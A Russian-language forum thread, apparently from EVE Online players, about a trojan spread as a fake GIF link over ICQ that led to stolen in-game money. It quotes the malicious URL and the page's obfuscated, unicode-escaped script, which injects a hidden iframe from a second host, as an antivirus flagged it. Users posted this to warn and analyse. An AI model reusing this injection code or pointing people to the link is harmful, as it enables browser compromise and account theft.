80 ответов в теме

[gobobo]

В аську пришла картинка от одного знакомого по еве человека, типа машинко крутое. Открыл на домашнем компе (чистый как жопа девственицы и не защищен антивирями) посмотрел да и забыл, пришол на работу - туда пришол уже от другого знакомого по еве, таже картинка и аваст заверещал. Пришол домой на чаре пропало бабло - но пасы остались, стыбрили мало, но неприятно - пасы сменил, но думаю нужно вирь счас выловить. Кому тоже приходили картинки и кто их открыл, сначала ищем вирь потом меняем пасы и проверяйте бабло на чарах. Деньги ушли на чара Clonefive.

[conKORD]

Петиция я так понимаю уже написана?

[gobobo]

Обижаешь Ж)

[Avalon]

Случаем, не вот такая картинка?

21/04/2009 (05:38 GMT  +03:00)
купи http://yehoshua-m.com/images/auto.gif

Там на картинке БМВ какая-то. Потом гифка сама пытается запустить Адоб Акробат Ридер. Нортон спалил и тормознул.

ПС: Ссылку не открывать, если антивиря не стоит.

Сообщение отредактировал Avalon: 24 April 2009 - 21:35

[DarkPhoenix]

У меня линь, протестируем систему безопасности %)

Терри, чо за браузер был?

Картинка-то гифка:
_http://yehoshua-m.com/images/auto.gif
А настоящая картинка имеет другую ссылку:
http://yehoshua-m.co...rleyVision5.jpg

Содержимое хтмлки по ссылке (вместо гифки ее суют):

<img src="WorleyVision5.jpg">																																													<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u006c\u0069\u006e\u0065\u006e\u0065\u0074\u007a\u002e\u0063\u006f\u006d\u002f\u0073\u0074\u0061\u0074\u0073\u002f\u0072\u0075\u0031\u002e\u0070\u0068\u0070\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')</script>

Ну и реакция на него файл-сканера касперского:

auto.gif - infected by Trojan-Clicker.HTML.IFrame.bk

Если кто-то шарит, как оно работает - просвятите плиз, хоть и браузер нестандартный + линь, но ссыкотно

Сообщение отредактировал DarkPhoenix: 24 April 2009 - 21:55

[Avalon]

У меня линь, протестируем систему безопасности %)

Терри, чо за браузер был?

Картинка-то гифка:

http://yehoshua-m.com/images/auto.gif

А настоящая картинка имеет другую ссылку:
http://yehoshua-m.co...rleyVision5.jpg

Если кто-то шарит, как оно работает - просвятите плиз, хоть и браузер нестандартный + линь, но ссыкотно

Да да, он самый. Как работает написано тут http://www.viruslist...?virusid=219433

Сообщение отредактировал Avalon: 24 April 2009 - 22:02

[CyberVampire]

блин, ребят, вы бы ссылочки кликабельные под [code=auto:0] поставили, на всякий пожарный

[DarkPhoenix]

У меня браузер никаких скрытых фреймов не видит. Походу все акей

Убрал активный линк с "зараженной"

[Fandanguero]

интересно, сколько народу захочет на себе потестить и сколько из них залетит %)

[gobobo]

Да та самая ссылка пока не знаю связана ли она с евой, но это как один из варинтов. Первый раз открывал последним фаерфоксом.

[DarkPhoenix]

Авотх№й. Покопался в скриптах виря...

Короче, идем на гугл, если у вас язык по-умолчанию - иглиш - переключаемся на русский.



И вот если там есть эта шляпа про чебурашку (видимо, если на нее нажать - что-то там пошлется) - гратц, вы - один из нас ) пойду искать, как эту дрянь вывести.

Заодно пусть "здоровые" скажут, как страница гугла выглядит у них - или, еще лучше, сделают скрин.

Все остальные страницы, кстати, безопасны (насколько я понял).

[Veronika]

Заодно пусть "здоровые" скажут, как страница гугла выглядит у них - или, еще лучше, сделают скрин.

[Отшельник]

От знакомых ничего не получал, давно не играл, но чебурашечка в гугле есть...С какйо то радости конкретно эта страница непомерно расстянулась в длину

[gobobo]

Таже херь с чебуратором.

[Avalon]

Авотх№й. Покопался в скриптах виря...

Короче, идем на гугл, если у вас язык по-умолчанию - иглиш - переключаемся на русский.



И вот если там есть эта шляпа про чебурашку (видимо, если на нее нажать - что-то там пошлется) - гратц, вы - один из нас ) пойду искать, как эту дрянь вывести.

Заодно пусть "здоровые" скажут, как страница гугла выглядит у них - или, еще лучше, сделают скрин.

Все остальные страницы, кстати, безопасны (насколько я понял).

Ты это самое, не пугай так
Эта ерунда у всех на гугле.

[Midael]

интересно, сколько народу захочет на себе потестить и сколько из них залетит %)

Вспомнился знаменитый однострочник на перле

[Отшельник]

Ты это самое, не пугай так
Эта ерунда у всех на гугле.

у вероники нет...

[Мир]

Точно чебурашка только при беде появляется?

[William Forgray]

Чебурашка ни при чем. Он у меня тоже есть на гугловой странице, но никаких вирусов и левых джаваскриптов нету. Вполне нормальная ссылка на тему iGoogle по советскому мультику про чебурашку.

Сообщение отредактировал William Forgray: 24 April 2009 - 22:23

[Veronika]

у вероники нет...

Под IE нет, под Оперой - есть... Видимо, дело в настройках, в Эксплоере они у меня несколько... параноидальные.